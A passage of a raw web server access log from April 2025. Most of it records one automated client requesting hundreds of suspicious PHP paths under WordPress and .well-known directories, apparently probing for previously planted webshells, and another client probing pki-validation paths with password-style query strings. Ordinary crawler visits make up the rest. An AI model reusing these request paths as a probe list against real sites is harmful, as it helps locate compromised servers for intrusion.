/wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:35 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:35 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:36 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:37 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:39 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:41 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:42 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:43 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:45 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:47 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:49 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:51 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:53 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:55 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:56 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:58 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:59 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:01 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:02 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:03 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:05 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:07 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:09 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:09 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:11 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:12 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:13 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:13 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:14 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:14 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:15 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:15 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:15 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:16 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:16 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:17 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:17 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:18 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:18 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:19 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:19 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:20 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:21 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:21 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:22 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:22 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:23 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:23 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:23 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:24 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:24 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:25 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:25 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:26 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:26 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:27 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:28 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:28 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:29 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:30 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:30 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:30 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:31 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:31 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:32 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:32 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:33 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:33 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:33 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:34 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:35 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:35 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:36 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:36 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:38 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:39 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:40 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:41 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:41 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:42 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:43 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:44 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:46 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:47 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:48 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:48 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:50 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:51 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:52 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:54 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:57 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:09:59 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:00 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:03 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:06 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:14 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:17 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:20 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:21 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:23 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:25 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:26 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:27 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:29 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:30 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:30 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:32 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:33 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:33 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:34 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:35 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:35 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:36 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:36 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:37 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:37 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:38 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:39 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:40 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:41 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:41 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:42 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:42 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:43 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:43 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:43 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:44 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:44 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:45 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:45 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:45 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:46 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:46 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:46 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:47 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:47 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:48 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:48 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:49 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:50 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:50 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:50 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:51 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:51 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:51 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:52 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:52 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:53 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:53 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:53 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:54 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:54 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:55 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:56 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:57 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:10:57 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 208.100.26.243 - - [20/Apr/2025:06:17:27 -0400] "HEAD /core/misc/drupal.js HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4164.0 Safari/537.36" 125.94.144.102 - - [20/Apr/2025:06:20:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.211.37.80 - - [20/Apr/2025:06:40:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 23.27.109.52 - - [20/Apr/2025:07:00:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 49.51.233.46 - - [20/Apr/2025:07:05:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [20/Apr/2025:07:17:05 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:09 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:12 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:14 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:19 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:22 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:24 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:28 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:31 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:33 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:36 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:38 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:40 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:41 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:44 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:45 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:46 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:47 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:17:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 110.172.98.2 - - [20/Apr/2025:07:24:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 94.103.87.196 - - [20/Apr/2025:07:29:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 162.0.232.217 - - [20/Apr/2025:07:50:57 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:52:04 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:53:01 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:53:15 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:07:53:52 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 77.105.140.65 - - [20/Apr/2025:08:06:51 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 OpenWave/97.4.2043.44" 66.249.79.96 - - [20/Apr/2025:08:57:14 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [20/Apr/2025:08:57:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 17.241.219.62 - - [20/Apr/2025:08:57:48 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.201 - - [20/Apr/2025:09:01:20 -0400] "GET /contact-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 185.40.4.20 - - [20/Apr/2025:09:56:17 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko" 109.70.100.67 - - [20/Apr/2025:10:36:05 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36" 216.244.66.237 - - [20/Apr/2025:10:47:40 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.135.182.95 - - [20/Apr/2025:10:56:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.122.147.229 - - [20/Apr/2025:11:48:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.60 Safari/537.36" 205.169.39.85 - - [20/Apr/2025:11:48:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; 